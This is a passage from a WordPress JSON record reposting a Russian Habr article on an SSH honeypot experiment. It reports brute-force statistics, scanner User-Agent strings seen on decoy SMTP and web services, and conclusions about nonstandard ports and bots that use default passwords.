\u0434\u043e\u043c\u0435\u043d\u0430 \u044f\u0432\u043d\u043e \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u044b\u0439.<\/li>\n<\/ul>\n<p>  \u0412 \u043c\u043e\u043c\u0435\u043d\u0442\u0435 \u0433\u043d\u0435\u0432\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441\u043e\u0437\u0434\u0430\u043b \u0445\u043e\u0440\u043e\u0448\u0443\u044e \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0443 \u0434\u043b\u044f \u0418\u043d\u0434\u043e\u043d\u0435\u0437\u0438\u0438 \u0438 \u0441\u0432\u043e\u0435\u0439 \u0430\u0432\u0442\u043e\u043d\u043e\u043c\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0432 \u0432\u0438\u0434\u0435 \u043f\u0430\u0440\u044b \u0442\u044b\u0441\u044f\u0447 \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u0441 \u043e\u0434\u043d\u043e\u0433\u043e \u0430\u0434\u0440\u0435\u0441\u0430. \u041e\u0434\u043d\u0430\u043a\u043e \u0432 \u0434\u043e\u043b\u0433\u043e\u0441\u0440\u043e\u0447\u043d\u043e\u0439 \u043f\u0435\u0440\u0441\u043f\u0435\u043a\u0442\u0438\u0432\u0435 \u0435\u0433\u043e \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0437\u0430\u0442\u0435\u0440\u044f\u043b\u0438\u0441\u044c \u043d\u0430 \u0444\u043e\u043d\u0435 \u043c\u0435\u0442\u043e\u0434\u0438\u0447\u043d\u044b\u0445 \u0441\u0442\u0430\u0440\u0430\u043d\u0438\u0439 \u0438\u0437 \u041a\u0438\u0442\u0430\u044f, \u0418\u043d\u0434\u0438\u0438 \u0438 \u041d\u0438\u0434\u0435\u0440\u043b\u0430\u043d\u0434\u043e\u0432.<\/p>\n<p>  <font color=\"#EB4247\"><\/p>\n<h2>\u0414\u0440\u0443\u0433\u0438\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u044b<\/h2>\n<p><\/font><br \/>  \u0420\u0430\u0434\u0438 \u0440\u0430\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u044f \u044f \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u043b \u0442\u0430\u043a\u0436\u0435 SMTP-\u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0432\u0435\u0431-\u0441\u0435\u0440\u0432\u0435\u0440, \u0447\u0442\u043e\u0431\u044b \u0443\u0437\u043d\u0430\u0442\u044c, \u0435\u0441\u0442\u044c \u043b\u0438 \u0438\u043d\u0442\u0435\u0440\u0435\u0441 \u043a \u043d\u0438\u043c. \u0418\u2026 \u043d\u0435\u0442.<\/p>\n<p>  \u0417\u0430 \u043f\u044f\u0442\u044c \u0434\u043d\u0435\u0439 \u043a SMTP-\u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u043e\u0431\u0440\u0430\u0442\u0438\u043b\u0438\u0441\u044c \u0442\u0440\u0438 \u0440\u0430\u0437\u0430 \u0441 \u043a\u0430\u043a\u0438\u043c-\u0442\u043e \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u0435\u043c SMTP, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043c\u043e\u044f \u0437\u0430\u0433\u043b\u0443\u0448\u043a\u0430 \u0431\u044b\u043b\u0430 \u043d\u0435 \u0432 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0438 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c.<\/p>\n<p>  \u041a \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u043b\u0438\u0441\u044c \u0442\u043e\u0436\u0435 \u043d\u0435\u0447\u0430\u0441\u0442\u043e \u2014 \u0432\u0441\u0435\u0433\u043e 50 \u0440\u0430\u0437 \u0437\u0430 4 \u0434\u043d\u044f. \u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0439 \u0441\u0434\u0435\u043b\u0430\u043b \u043e\u0434\u0438\u043d IP-\u0430\u0434\u0440\u0435\u0441 \u0438\u0437 AS16509, \u0421\u0428\u0410. \u0415\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435, \u043f\u043e\u0447\u0435\u043c\u0443 \u044f \u0432\u044b\u043d\u0435\u0441 \u044d\u0442\u043e \u0432 \u0441\u0442\u0430\u0442\u044c\u044e \u2014 \u043d\u0435\u043e\u0431\u044b\u0447\u043d\u044b\u0435 User-Agent, \u0441 \u043a\u043e\u0442\u043e\u0440\u044b\u043c\u0438 \u043f\u0440\u0438\u0448\u0435\u043b \u0441\u043a\u0430\u043d\u0435\u0440:<\/p>\n<ul>\n<li>Mozilla\/5.0 (Linux; Android 4.0.4; BNTV400 Build\/IMM76L) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/42.0.2311.111 Safari\/537.36<\/li>\n<li>Mozilla\/5.0 (SymbianOS\/9.1; U; en-us) AppleWebKit\/413 (KHTML, like Gecko) Safari\/413 es65<\/li>\n<li>SonyEricssonK310iv\/R4DA Browser\/NetFront\/3.3 Profile\/MIDP-2.0 Configuration\/CLDC-1.1 UP.Link\/6.3.1.13.0<\/li>\n<li>Mozilla\/4.1 (compatible; MSIE 5.0; Symbian OS; Nokia 6600;452) Opera 6.20 [en-US]<\/li>\n<li>Mozilla\/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit\/534.46 (KHTML, like Gecko ) Version\/5.1 Mobile\/9B176 Safari\/7534.48.3<\/li>\n<li>Mozilla\/5.0 (SymbianOS\/9.4; U; Series60\/5.0 SonyEricssonP100\/01; Profile\/MIDP-2.1 Configuration\/CLDC-1.1) AppleWebKit\/525 (KHTML, like Gecko) Version\/3.0 Safari\/525<\/li>\n<li>Opera\/9.25 (Windows NT 6.0; U; en)<\/li>\n<li>SonyEricssonK610i\/R1CB Browser\/NetFront\/3.3 Profile\/MIDP-2.0 Configuration\/CLDC-1.1<\/li>\n<\/ul>\n<p>  \u041a\u043e\u043d\u0435\u0447\u043d\u043e User-Agent \u2014 \u044d\u0442\u043e \u0432\u0441\u0435\u0433\u043e \u043b\u0438\u0448\u044c \u0441\u0442\u0440\u043e\u0447\u043a\u0430, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043b\u044e\u0431\u043e\u0439. \u041d\u043e \u0435\u0441\u043b\u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u044c, \u0447\u0442\u043e \u044d\u0442\u043e \u043d\u0435 \u0444\u0430\u043b\u044c\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f, \u0442\u043e \u0443 \u043a\u043e\u0433\u043e-\u0442\u043e \u043e\u0447\u0435\u043d\u044c \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439 \u043f\u0440\u043e\u0435\u043a\u0442.<\/p>\n<p>  <font color=\"#EB4247\"><\/p>\n<h2>\u0412\u0430\u043c \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b \u044d\u0442\u0438 \u0442\u0435\u043a\u0441\u0442\u044b<\/h2>\n<p><\/font><br \/>  \u00a0<a href=\"https:\/\/slc.tl\/8exmr\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/o_\/6w\/wy\/o_6wwyzjf0zbffrrsfbjsqmhax4.png\" width=\"32%\" data-src=\"https:\/\/habrastorage.org\/webt\/o_\/6w\/wy\/o_6wwyzjf0zbffrrsfbjsqmhax4.png\"\/><\/a>\u00a0<a href=\"https:\/\/slc.tl\/uad0g\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/eh\/z6\/ym\/ehz6yml38dxdyhwtmwovf73vehs.png\" width=\"32%\" data-src=\"https:\/\/habrastorage.org\/webt\/eh\/z6\/ym\/ehz6yml38dxdyhwtmwovf73vehs.png\"\/><\/a>\u00a0<a href=\"https:\/\/slc.tl\/llgh8\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/qd\/3v\/oj\/qd3vojtl_ecv9rw0s3bxv6ftnc0.png\" width=\"32%\" data-src=\"https:\/\/habrastorage.org\/webt\/qd\/3v\/oj\/qd3vojtl_ecv9rw0s3bxv6ftnc0.png\"\/><\/a><\/p>\n<p>  <font color=\"#EB4247\"><\/p>\n<h2>\u0417\u0430\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435<\/h2>\n<p><\/font><br \/>  \u041c\u044b \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u043b\u0438 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0443 \u0431\u0435\u0437\u0437\u0430\u0449\u0438\u0442\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440 \u0441 SSH-\u0441\u0435\u0440\u0432\u0435\u0440\u043e\u043c \u0438 \u0443\u0437\u043d\u0430\u043b\u0438 \u043c\u043d\u043e\u0433\u043e \u043e\u0447\u0435\u0432\u0438\u0434\u043d\u043e\u0433\u043e, \u043d\u043e \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0433\u043e:<\/p>\n<ol>\n<li>\u041f\u0435\u0440\u0435\u043d\u043e\u0441 SSH \u043d\u0430 \u043d\u0435\u043e\u0431\u044b\u0447\u043d\u044b\u0439 \u043f\u043e\u0440\u0442 \u043f\u043e\u043c\u043e\u0436\u0435\u0442 \u0441\u043f\u0440\u044f\u0442\u0430\u0442\u044c\u0441\u044f \u043e\u0442 \u043d\u0435\u0436\u0435\u043b\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f, \u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0435 \u043d\u0430 \u043f\u043e\u0440\u0442 2222 \u2014 \u044d\u0442\u043e \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u0442 \u043a \u043e\u0431\u0440\u0430\u0442\u043d\u043e\u043c\u0443 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0443.<\/li>\n<li>\u0421\u0435\u0433\u043e\u0434\u043d\u044f \u0431\u043e\u0442\u043d\u0435\u0442\u044b \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0437\u0434\u0435\u043b\u0438\u0442\u044c \u043d\u0430 \u0434\u0432\u0435 \u043a\u0430\u0442\u0435\u0433\u043e\u0440\u0438\u0438: \u0431\u0435\u0441\u0441\u043c\u044b\u0441\u043b\u0435\u043d\u043d\u044b\u0435 \u0438 \u0430\u043a\u043a\u0443\u0440\u0430\u0442\u043d\u044b\u0435. \u041f\u0435\u0440\u0432\u044b\u0435 \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u0442 \u043b\u043e\u0433\u0438 \u0431\u0435\u0437\u0443\u0441\u043f\u0435\u0448\u043d\u044b\u043c\u0438 \u043f\u043e\u043f\u044b\u0442\u043a\u0430\u043c\u0438 \u043f\u043e\u0434\u043e\u0431\u0440\u0430\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u044c, \u0430 \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0443\u0434\u0430\u0447\u0438 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u0441\u0434\u0435\u043b\u0430\u044e\u0442. \u0412\u0442\u043e\u0440\u044b\u0435 \u0436\u0435 \u043f\u0440\u0438\u0434\u0443\u0442 \u0441 \u043f\u0430\u0440\u043e\u043b\u044f\u043c\u0438 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0438 \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0443\u0441\u043f\u0435\u0445\u0430 \u043e\u0441\u0442\u0430\u0432\u044f\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441. <\/li>\n<li>\u0417\u0430 \u0434\u0432\u0430 \u0433\u043e\u0434\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u00ab\u0432\u044b\u043c\u0435\u0440\u043b\u0438\u00bb \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043b\u0438\u0448\u0430\u044e\u0442 \u0432\u043b\u0430\u0434\u0435\u043b\u044c\u0446\u0430 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0441\u0432\u043e\u0435\u043c\u0443 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0443. \u0424\u043e\u043a\u0443\u0441 \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u0441\u044f \u0441 \u0434\u0435\u0441\u0442\u0440\u0443\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u043d\u0430 \u0441\u043a\u0440\u044b\u0442\u043d\u043e\u0441\u0442\u044c.<\/li>\n<li>\u041d\u0435\u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u0440\u0442\u043e\u0432 \u0438 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u043e\u0432 \u043d\u0435 \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0440\u0443\u0435\u0442 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043e\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. <\/li>\n<\/ol>\n<p>  \u0418\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u043e\u0438\u0445 \u043f\u043e\u0434\u0435\u043b\u043e\u043a \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043d\u0430 <a href=\"https:\/\/github.com\/Firemoon777\/brute\">GitHub<\/a>. \u041f\u0440\u0438 \u043e\u0441\u0442\u0440\u043e\u043c \u0436\u0435\u043b\u0430\u043d\u0438\u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u0443\u044e \u043b\u043e\u0432\u0443\u0448\u043a\u0443 \u043d\u0430 \u0441\u0432\u043e\u0435\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u043c\u043e\u0436\u043d\u043e \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c\u0441\u044f \u043a <a href=\"https:\/\/github.com\/cowrie\/cowrie\">cowrie<\/a>.<\/p>\n<blockquote><p>\u041d\u0443 \u0430 \u0435\u0441\u043b\u0438 \u0432\u044b \u043b\u044e\u0431\u0438\u0442\u0435 \u0442\u0430\u043a\u0438\u0435 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u044b \u0438 \u0434\u0440\u0443\u0433\u0443\u044e \u0434\u0438\u0447\u044c, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u043c\u043e\u0436\u0435\u0442 \u0442\u0432\u043e\u0440\u0438\u0442\u044c \u0440\u0443\u043a\u0430\u043c\u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a, \u043f\u043e\u0434\u043f\u0438\u0441\u044b\u0432\u0430\u0439\u0442\u0435\u0441\u044c \u043d\u0430 \u043c\u043e\u0439 <a href=\"https:\/\/slc.tl\/qjcmg\">Telegram-\u043a\u0430\u043d\u0430\u043b<\/a>. \u042f \u0432\u044b\u0434\u0435\u043b\u0438\u043b \u0434\u0435\u043d\u044c \u043f\u043e\u0434 \u043c\u0435\u043c\u044b!<\/p><\/blockquote>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/760080\/\"> https:\/\/habr.com\/ru\/articles\/760080\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-1\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<div style=\"text-align:center;\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/-k\/l9\/1x\/-kl91xvvfrpolb6oejfomujv6i4.png\" data-src=\"https:\/\/habrastorage.org\/webt\/-k\/l9\/1x\/-kl91xvvfrpolb6oejfomujv6i4.png\"\/><\/div>\n<p>  \u0414\u0432\u0430 \u0433\u043e\u0434\u0430 \u043d\u0430\u0437\u0430\u0434 \u044f \u043d\u0430\u043f\u0438\u0441\u0430\u043b <a href=\"https:\/\/habr.com\/ru\/companies\/selectel\/articles\/567250\/\">\u0441\u0442\u0430\u0442\u044c\u044e<\/a>, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u043e\u0441\u0442\u044b\u0445 SSH-\u043b\u043e\u0432\u0443\u0448\u0435\u043a \u0438 \u0437\u0430\u043f\u0438\u0441\u0430\u043b \u0445\u043e\u0434\u044b \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432. \u0421 \u0442\u0435\u0445 \u043f\u043e\u0440 \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u0438 \u0441\u043e\u0431\u044b\u0442\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0432\u043b\u0438\u044f\u043b\u0438 \u043d\u0430 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u0431\u0440\u0443\u0442\u0444\u043e\u0440\u0441\u0435\u0440\u043e\u0432. \u0421\u0442\u0430\u043b \u043b\u0438 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442 \u043e\u0442 \u044d\u0442\u043e\u0433\u043e \u0431\u043e\u043b\u0435\u0435 \u043e\u043f\u0430\u0441\u043d\u044b\u043c \u043c\u0435\u0441\u0442\u043e\u043c?<\/p>\n<p>  \u0417\u0430\u0434\u0430\u0432\u0448\u0438\u0441\u044c \u044d\u0442\u0438\u043c \u0432\u043e\u043f\u0440\u043e\u0441\u043e\u043c, \u044f \u0440\u0435\u0448\u0438\u043b \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u0442\u044c \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442, \u0441\u0434\u0435\u043b\u0430\u0432 \u0438\u0437 <a href=\"https:\/\/slc.tl\/axizp\">\u0432\u044b\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430<\/a> \u00ab\u043b\u043e\u0432\u0443\u0448\u043a\u0443\u00bb \u0434\u043b\u044f \u0432\u0441\u044f\u043a\u0438\u0445 \u043f\u043b\u043e\u0445\u0438\u0445 \u0440\u0435\u0431\u044f\u0442. \u0412 \u0441\u0442\u0430\u0442\u044c\u0435 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e, \u043a\u0430\u043a\u0438\u0435 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u044b \u043f\u0440\u0438\u0432\u043b\u0435\u043a\u0430\u044e\u0442 \u0432\u0437\u043b\u043e\u043c\u0449\u0438\u043a\u043e\u0432, \u043c\u043e\u0436\u043d\u043e \u043b\u0438 \u0441\u043f\u0440\u044f\u0442\u0430\u0442\u044c\u0441\u044f \u043d\u0430 \u043d\u0435\u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u043c \u043f\u043e\u0440\u0442\u0443 \u0438 \u0447\u0442\u043e \u0431\u0443\u0434\u0435\u0442, \u0435\u0441\u043b\u0438 \u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u044c \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e. \u041f\u043e\u0434 \u043a\u0430\u0442 \u0441\u0442\u043e\u0438\u0442 \u043f\u0440\u043e\u0432\u0430\u043b\u0438\u0442\u044c\u0441\u044f \u0445\u043e\u0442\u044f \u0431\u044b \u0440\u0430\u0434\u0438 \u0441\u043e\u0431\u0440\u0430\u043d\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0438.  <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-354492","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/354492","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=354492"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/354492\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=354492"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=354492"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=354492"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}